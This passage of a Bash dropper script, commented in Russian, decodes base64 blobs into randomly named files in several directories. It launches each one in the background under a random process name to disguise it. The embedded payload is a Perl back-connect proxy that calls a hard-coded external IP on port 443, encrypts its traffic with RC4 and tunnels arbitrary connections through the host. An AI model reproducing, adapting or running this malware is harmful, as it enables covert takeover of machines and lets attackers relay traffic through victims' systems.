Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #29 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #29 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 30 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK 